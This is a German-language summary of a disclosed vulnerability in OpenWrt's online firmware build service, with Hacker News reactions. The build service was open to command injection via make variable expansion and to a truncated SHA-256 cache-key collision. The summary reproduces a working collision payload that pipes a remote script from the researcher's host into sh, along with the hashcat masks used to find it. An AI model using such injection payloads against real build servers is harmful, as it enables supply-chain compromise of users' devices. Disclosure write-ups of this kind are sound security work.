2 Punkte von GN⁺ 2024-12-10 | 1 Kommentare | Auf WhatsApp teilen
  • Die Web-Upgrade-Funktion Attended Sysupgrade von OpenWrt war so aufgebaut, dass Firmware auf einem Online-Build-Server erzeugt wurde. In Kombination aus Command Injection und einer gekürzten SHA-256-Kollision konnten dadurch für legitime Anfragen falsche Build-Artefakte zurückgegeben werden.
  • Der packages-Wert einer Anfrage wurde an die Variable PACKAGES= von make manifest weitergereicht. Aufgrund der Variablenexpansion von make konnte ein Angreifer innerhalb des ImageBuilder-Containers beliebige Befehle ausführen.
  • In den Cache-Schlüssel floss nicht die vollständige SHA-256 des Paketlisten-Hashes ein, sondern nur die ersten 12 Zeichen, also 48 Bit. Dadurch konnten unterschiedliche Paketlisten denselben Anfrage-Hash erzeugen.
  • Der Forscher erreichte mit einem modifizierten Hashcat und einer RTX 4090 etwa 18 Milliarden Hashes pro Sekunde und konnte nachweisen, dass sich mit einem kollidierenden Command-Injection-Payload die .bin-Artefakte des ImageBuilders überschreiben ließen.
  • Nach einer nicht öffentlichen Schwachstellenmeldung setzte das OpenWrt-Team sysupgrade.openwrt.org vorübergehend außer Betrieb und verteilte innerhalb von 3 Stunden eine gepatchte Version, konnte aber nicht feststellen, ob die Lücke zuvor bereits ausgenutzt worden war.

Die Online-Firmware-Build-Architektur von Attended Sysupgrade

  • In der LuCI-Weboberfläche von OpenWrt gibt es Attended Sysupgrade, und diese Funktion erstellt neue Firmware über einen Online-Dienst.
  • Der Build-Dienst läuft unter sysupgrade.openwrt.org. Wenn Nutzer Zielgerät und gewünschte Pakete auswählen, wird ein neues Firmware-Image erzeugt.
  • Bei einer Upgrade-Anfrage sendet das OpenWrt-System des Nutzers folgende Informationen an den Server:
    • Zielarchitektur
    • Geräteprofil
    • ausgewählte Pakete
  • Auf Basis dieser Informationen baut der Server ein Firmware-Image und liefert es an das OpenWrt-Gerät zurück, das das erhaltene Image dann flasht.
  • Wenn ein Server, der Images aus nutzerseitig angegebenen Paketen baut, nicht ausreichend isoliert ist, entsteht eine Angriffsfläche für Supply-Chain-Angriffe, weil das Build-Ergebnis direkt auf dem Gerät angewendet wird.

Command Injection über den PACKAGES-Wert

  • Der Server sysupgrade.openwrt.org ist ein Open-Source-Projekt, und der Quellcode liegt unter openwrt/asu.
  • Die Build-Umgebung läuft in einem Container, der mit podman.containers.create erzeugt wird, mit Einstellungen wie cap_drop=["all"], no_new_privileges=True und privileged=False.
  • Die Schwachstelle entstand beim Aufruf von make manifest.
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • Das manifest-Target des OpenWrt-ImageBuilders reicht den PACKAGES-Wert in der Form USER_PACKAGES="$(PACKAGES)" weiter.
  • Da make Variablen vor der Befehlsausführung expandiert, werden nutzerkontrollierte Werte selbst dann nicht sicher behandelt, wenn sie in einfache Anführungszeichen gesetzt werden.
    • Im Beispiel-Makefile wird bei make var="'; whoami #" auch innerhalb von echo '$(var)' der Befehl whoami ausgeführt.
  • Weil der Parameter packages einer Anfrage in die Variable PACKAGES gelangt, konnte ein Angreifer in einen wie ein Paketname aussehenden Wert Befehle einschleusen und innerhalb des ImageBuilder-Containers beliebige Kommandos ausführen.
  • Auch wenn der Container vom Host isoliert ist, werden die erzeugten Binärdateien in einem späteren Schritt mit einem privaten Schlüssel signiert. Dadurch wurde diese Command Injection zu einer Supply-Chain-Schwachstelle.

Auf 12 Zeichen gekürzter SHA-256-Cache-Schlüssel

  • get_request_hash erzeugt einen Anfrage-Hash, indem mehrere Felder der Build-Anfrage zusammengefügt werden; dieser Hash dient als Schlüssel für den Build-Cache.
  • Die Paketliste fließt nicht direkt als Zeichenkette ein, sondern über das Ergebnis von get_packages_hash(build_request.packages) in den äußeren Anfrage-Hash.
  • get_packages_hash entfernt doppelte Pakete, sortiert sie und berechnet die SHA-256 der durch Leerzeichen verbundenen Zeichenkette, gibt aber nur die ersten 12 Zeichen des Ergebnisses zurück.
  • Ein SHA-256-Präfix von 12 Zeichen entspricht 48 Bit, der mögliche Raum umfasst also 2^48 = 281,474,976,710,656 Werte.
  • Weil der äußere Anfrage-Hash diesen gekürzten Pakethash enthält, können verschiedene Paketlisten bei einer Kollision desselben Pakethashs denselben Cache-Schlüssel teilen.
  • In der Folge konnte der Server für andere Paketanforderungen falsche Build-Artefakte zurückgeben.

Kollisions-Payload mit Hashcat finden

  • Da sich kein Brute-Force-Tool für partielle SHA-256-Treffer finden ließ, schrieb der Forscher zunächst selbst ein OpenCL-Programm, das jedoch für 100 Millionen Hashes 10 Sekunden brauchte und damit nur etwa CPU-Niveau erreichte.
  • Danach modifizierte er Hashcat so, dass bereits bei Übereinstimmung von 8 Zeichen ein Hash ausgegeben wird, und prüfte mit einem kleinen Skript, ob eine 12-Zeichen-Kollision vorliegt.
  • Die legitime Paketliste wurde von firmware-selector.openwrt.org übernommen, und deren SHA-256 war 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb.
    • Die ersten 12 Zeichen waren 8f7018b33d94.
    • Auch das Angriffspayload musste dasselbe 12-Zeichen-Präfix haben.
  • Zunächst lief auf einer RTX 4090 eine Maske der Form `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`, was etwa 500 Millionen Hashes pro Sekunde erreichte.
  • ?l erzeugt a-z, daher umfasst der Raum für 10 Zeichen 26^10 = 141,167,095,653,376 Möglichkeiten, also ungefähr die Hälfte von 2^48.
  • Nachdem die Maske auf 11 Zeichen erweitert und die Maskenposition an den Anfang des Befehls verschoben wurde, stieg die Geschwindigkeit stark an.
    • Das endgültige Muster war `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • Mit diesem Muster berechnete Hashcat etwa 18 Milliarden Hashes pro Sekunde.
  • Innerhalb einer Stunde wurde folgende 12-Zeichen-Kollision gefunden.
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • Die SHA-256 dieser Zeichenkette war 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, deren erste 12 Zeichen mit denen der legitimen Paketliste übereinstimmen.

Kombination beider Schwachstellen liefert falsche Firmware zurück

  • Wird das kollidierende Payload als Parameter packages gesendet, kommt es zur Command Injection, und ein Skript von tmp.ryotak.net wird ausgeführt.
  • Das Prüfskript ergänzte Code in /builder/scripts/json_overview_image_info.py und überschreibt so die vom ImageBuilder erzeugten Artefakte.
    • Es liest die Dateiliste in BIN_DIR.
    • Es sucht Dateien, deren Name auf .bin endet, und schreibt "test" in deren Inhalt.
  • Aufgrund der Hash-Kollision lieferte der Server an Nutzer, die die legitime Paketliste angefordert hatten, das überschriebene Build-Artefakt zurück.
  • Würde dieses Verfahren böswillig ausgenutzt, könnten Nutzer auf schadhafte Firmware aktualisieren, was zu einer Kompromittierung des Geräts führen kann.

Meldung und Behebung

  • Die Schwachstelle wurde dem OpenWrt-Team über eine private Schwachstellenmeldung auf GitHub gemeldet.
  • Das OpenWrt-Team bestätigte das Problem, setzte den Dienst sysupgrade.openwrt.org vorübergehend aus und begann mit der Untersuchung.
  • Eine gepatchte Version wurde innerhalb von 3 Stunden bereitgestellt, und der Dienst wurde wieder gestartet.
  • Beide Probleme wurden behoben, aber da die Schwachstelle längere Zeit existierte, ließ sich nicht feststellen, ob sie bereits von anderen ausgenutzt worden war.
  • Das OpenWrt-Team veröffentlichte eine Mitteilung, damit Nutzer eine mögliche Kompromittierung ihrer Geräte prüfen und erkennen können.

Fazit

  • sysupgrade.openwrt.org konnte durch die Kombination aus Command Injection und einer gekürzten SHA-256-Kollision kompromittiert werden.
  • Es handelt sich um einen Fall, in dem ein Hash-Kollisionsangriff per Brute Force in einer realen Anwendung erfolgreich war und einen Pfad für einen Supply-Chain-Angriff eröffnete.
  • Das OpenWrt-Team behob das Problem schnell und informierte die Nutzer, aber bei Online-Build-Diensten müssen Cache-Schlüssel und Eingabevalidierung äußerst konservativ behandelt werden.

1 Kommentare

 
GN⁺ 2024-12-10
Meinungen auf Hacker News
  • Die in dem Artikel ausgelassene Schwachstelle ist, dass das Ausführen von Code, der auf bestimmte Nutzer oder bestimmte Geräte zugeschnitten ist, normalisiert wird.
    Es gibt keine Überprüfung der Reproduzierbarkeit, und niemand hat eine Möglichkeit zu prüfen, ob dieser Custom-Build- und Download-Dienst nicht Builds mit eingebauter Backdoor erstellt hat.
    Man muss sicherstellen, dass Builds verwendet werden wie der xz-utils-Build, den Andres Freund nutzt, oder Builds, die Sicherheitsforscher später beziehen können, um Open-Source-Software auf Supply-Chain-Implantate zu prüfen[1].
    Es gab früher einmal einen Artikel, der Mozillas eingestellten Versuch beschrieb, Release-Builds in einem Merkle-Tree öffentlich zu protokollieren[2]. Google hat die Implementierung für Pixel-Firmware-Builds aufgeräumt, aber Apps, die über den Google Play Store verteilt werden, wirken anfällig (sofern es nicht andere Logs gibt, die ich nicht gefunden habe)[3]. Apple scheint bei Firmware- und App-Verteilung in Sachen binärer Transparenz noch schlechter dazustehen als Google, weil es gerätespezifische Builds targetet und keine Build-Transparenz bietet.
    Ein gutes Beispiel ist das ebuild-Repository von Gentoo. Es enthält Source-Prüfsummen in einem einzigen Git-Repository/Merkle-Tree und könnte damit einer der größten und am weitesten verteilten Merkle-Trees in Open-Source-Software bleiben.
    [1] Nach der xz-utils-Backdoor haben einige Forscher automatische/halbautomatische Scans durchgeführt, um in Open-Source-Software-Builds nach unerklärlichen Dateien mit hoher Entropie zu suchen, die versteckten Schadcode enthalten könnten. Bei nutzer- oder gerätespezifischen Custom-Builds ist so etwas unmöglich, sofern nicht alle Builds für spätere Analysen veröffentlicht werden und dazu ein öffentliches Log (Merkle-Tree) dieser veröffentlichten Builds bereitgestellt wird.
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • Gute Idee, und ich unterstütze sie auch, aber man muss bedenken, dass Reproduzierbarkeit von Determinismus abhängt.
      Viele Elemente in einer Build-Pipeline sind von Natur aus nichtdeterministisch, weil Entscheidungen zur Compile-Zeit von Lauf zu Lauf unterschiedlich ausfallen können. Das gilt selbst ohne das Problem mit Flags, und tatsächlich ist das bei optimierenden Compilern ziemlich nah am eigentlichen Zweck. Wie viele Projekte für reproduzierbare Builds festgestellt haben, ist Reproduzierbarkeit bei aktivierten Optimierungen praktisch nicht garantiert.
    • Zu Google Play: https://developer.android.com/guide/app-bundle/code-transpar...
      Soweit ich weiß, gibt es kein zentralisiertes Log; es bleibt den App-Entwicklern überlassen, ihren eigenen Schlüssel oder das Transparenzdatei-Log selbst zu veröffentlichen.
    • Einen solchen Build-Dienst zu nutzen, heißt im Grunde zu sagen: „Ich bin kein Ziel, das wertvoll genug für einen gezielten Angriff ist.“
    • Per automatischem/halbautomatischem Scan nach unerklärlichen Dateien mit hoher Entropie zu suchen, die versteckten Schadcode enthalten könnten, lässt sich leicht umgehen. Man muss die Entropie einfach verteilen.
    • Ich erinnere mich, dass Googles Certificate-Transparency-Team praktisch auch Firmware-Transparenz nicht nur für Android, sondern für ganz Linux entworfen hatte.
  • Ist "".join nicht auch gefährlich?
    Bei einer Form wie get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ... könnte der Hash gleich bleiben, wenn man Zeichen zwischen benachbarten Feldern verschiebt.
    Selbst wenn man das System nicht direkt übernehmen kann, könnte man mit einem kaputten Image eine Cache-Vergiftung verursachen oder ein Downgrade auslösen.

    • Stimmt. Aus dem von dir beschriebenen Grund sollte man beim Hashen mehrerer Eingaben HMAC verwenden.
      Korrektur: Nicht HMAC, sondern inkrementelles Hashing wäre die richtige Bezeichnung.
  • Deshalb kann Open Source niemals mit proprietärer Unternehmenssoftware konkurrieren:
    Weil sie das Problem in 3 Stunden behoben haben, statt Nutzer 6 Monate auf einen Patch warten zu lassen, den Melder des Problems nicht zu verklagen versuchten und auch nicht bloß einen kleinen Rabatt anboten, damit man ein „veraltetes“, aber völlig funktionierendes Gerät wegwirft und ein neues Produkt kauft.

    • Hier sollte man deutlicher machen, dass das sarkastisch gemeint ist. Englisch ist nicht meine Muttersprache, deshalb habe ich „they“ zunächst so gelesen, als beziehe es sich auf „proprietäre Unternehmenssoftware“, und verstanden, OpenWRT sei eine gefährliche Wahl, die all die aufgezählten Dinge getan habe.
    • Genau deshalb mag ich OpenWrt. Sie bitten sogar Leute wie mich, die einen Screenreader verwenden, zu testen, ob das Webinterface richtig funktioniert.
    • Das stimmt zwar, aber OpenWRT scheint zwar die Hash-Kürzung behoben zu haben, die Command Injection aber noch nicht.
      Ich hoffe, sie planen auch, die Command Injection zu beheben. Wie der Beitrag sagt, werden die erzeugten Images signiert. Selbst ohne Signatur ist es ein Problem, wenn nicht vertrauenswürdige Nutzereingaben zur Codeausführung führen. Und Schwachstellen können miteinander verkettet werden, wie in diesem Fall der Hash-Kollision.
    • Ich habe einen Router, den ich wegen meines ISP zwangsweise benutzen muss; er hatte mehrere CVEs von schlecht bis wirklich gravierend, und die meisten davon sind Jahre alt.
      Ich könnte Ersatz bekommen, aber es wäre nur dasselbe Modell. Der ISP interessiert sich überhaupt nicht für Sicherheit und patcht auch nicht. Dabei hat er exklusiven Zugriff auf den Router und kann sich sogar aus der Ferne einloggen; das ist völlig absurd.
    • Das ist nur bei einer kleinen Zahl von Open-Source-Projekten möglich, die Unternehmensunterstützung und Ressourcen für schnelle Fixes haben.
      Bei den meisten Open-Source-Projekten sind die Maintainer viel zu überlastet oder wollen Sicherheitsprobleme schlicht nicht beheben.
  • Erstens war dies ein Fall, in dem ein Tool, das ursprünglich gar nicht für diesen Zweck gedacht war, trotzdem Open Source war und ohne BuilderFactoryProvider geschrieben wurde, sodass es in kurzer Zeit für die Aufgabe angepasst werden konnte.
    Entschuldigung, dass das schon gesagt wurde, aber mich quält das jeden Tag.
    Bei einem großen Unternehmen hätte die Behebung vermutlich -1 Jahr gedauert. Sie hätten einfach diese Person verklagt, versucht, sie so schnell wie möglich verhaften zu lassen, und nie einen Patch veröffentlicht.
    OpenWrt hat nach Erhalt der Information den unsicheren Dienst abgeschaltet, die Nutzer waren dank des Shutdowns bereits in einem sicheren Zustand, dann wurde der Bericht verifiziert, ein Patch erstellt und innerhalb von 3 Stunden ausgerollt. Großartig.

  • Ich frage mich, wie Leute auf die Idee kommen, Hashes abzuschneiden. Was ist der Zweck oder der Vorteil?

    • Abgeschnittene Hash-Funktionen sind nicht anfällig für Length-Extension-Angriffe. Allerdings verwendet man normalerweise SHA-512 und schneidet auf 256 Bit ab. Nach heutigen Maßstäben ist es schwer, etwas Kürzeres als sicher anzusehen.
    • Manchmal macht man das, um zu bereits vorhandenen Längenbeschränkungen in bestehenden Tools oder Datenbanken zu passen. Oder wenn der Hash nicht zur Integritätsprüfung, sondern nur als einfacher Location Identifier verwendet wird.
      Ich halte das nicht für gute Praxis, aber in der Realität gehen Leute Kompromisse ein.
    • Laut Commit wurde das gemacht, um die Länge der Download-Dateinamen und URLs zu reduzieren.
    • Es wird auch verwendet, wenn man eine kleinere Payload braucht.
      Laut der Antwort von @Reid in [2] und der Antwort von @ThomasPornin in [3] wird die Idee, Hashes abzuschneiden, auch von NIST vollständig unterstützt. Tatsächlich ist SHA-224 ein abgeschnittener SHA-256, und SHA-384 ein abgeschnittener SHA-512.
      https://security.stackexchange.com/a/97389
    • Das macht man, wenn man von SHA-1 auf SHA-256 upgraden, aber das Datenformat für Integritätsprüfungen oder die Speicherung von Schlüsseln nicht ändern will.
  • Guter Artikel. Es hat mich etwas überrascht, dass man für eine so kurze Kollision so viel GPU-Rechenleistung brauchte, aber es war interessant, die Implementierung zu sehen.
    Zur letzten Sektion: Sind 40.000 Dollar für einen Monat Sicherheitsanalyse ein angemessener Preis? Falls ja, verdienen gute Sicherheitsforscher dann etwa 500.000 Dollar im Jahr?

    • Das bedeutet, dass eine gute Security-Research-Firma mit einem herausragenden Forscher 500.000 Dollar Umsatz machen könnte. Allerdings nur, wenn sie genug Arbeit hereinholen kann, um diese Person zu 100 % auszulasten. Wenn man bezahlten Urlaub berücksichtigt, ist es tatsächlich weniger.
    • Nach meinem Maßstab wirkt das ziemlich angemessen. Penetration-Testing-Firmen, mit denen ich früher gearbeitet habe, haben in dieser Größenordnung abgerechnet und dabei nur faule nmap-/metasploit-Scans laufen lassen, die sie dann in ein überzeugend aussehendes PDF verpackt haben.
    • In der Zeit nach LLMs ist eine Stunde Rechenzeit auf einer 4090 nicht „so viel“, sondern eher „sogar wenig“. Das geht auch für unter 1 Dollar.
    • 2^(12*4) bedeutet, dass es 281.474.976.710.656 mögliche 12-Zeichen-Strings gibt; dass man so viele innerhalb einer Stunde durchsuchen kann, ist wirklich beeindruckend.
  • Was soll das heißen, dass sich die Performance von hashcat je nach Reihenfolge der Argumente um mehrere Größenordnungen unterscheidet? Scannt es bei jeder Ausführung die Zielmuster in der Argumentzeile?

    • Es könnte wie beim Schlösserknacken sein: Man beginnt links und prüft, ob man weiterkommt, oder verwirft die Vermutung. Dann muss man die „Auswahlmöglichkeiten“ nicht jedes Mal neu erzeugen, wenn man sie vorne platziert. Vielleicht wird der Präfix aus irgendeinem Grund nicht gecacht oder kann nicht gecacht werden.
      Oder es ist strukturiert wie beim Zählen, etwa:
      100000000000
      010000000000
      110000000000
      001000000000
      sodass die meisten Änderungen links passieren und Änderungen rechts nur selten auftreten. Es wäre interessant, wenn jemand, der hashcat kennt, das beantworten könnte. Ich stelle hier nur Vermutungen an.
  • Der Ablauf des Angriffs war sehr gut beschrieben und leicht nachzuvollziehen.